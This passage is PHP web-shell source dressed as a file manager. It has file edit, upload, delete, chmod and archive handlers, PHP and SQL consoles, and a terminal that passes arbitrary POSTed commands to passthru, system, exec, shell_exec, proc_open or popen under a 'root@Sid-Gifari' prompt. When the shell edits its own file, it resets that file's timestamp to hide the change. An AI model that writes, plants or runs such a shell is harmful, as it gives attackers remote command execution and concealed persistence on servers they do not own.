+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

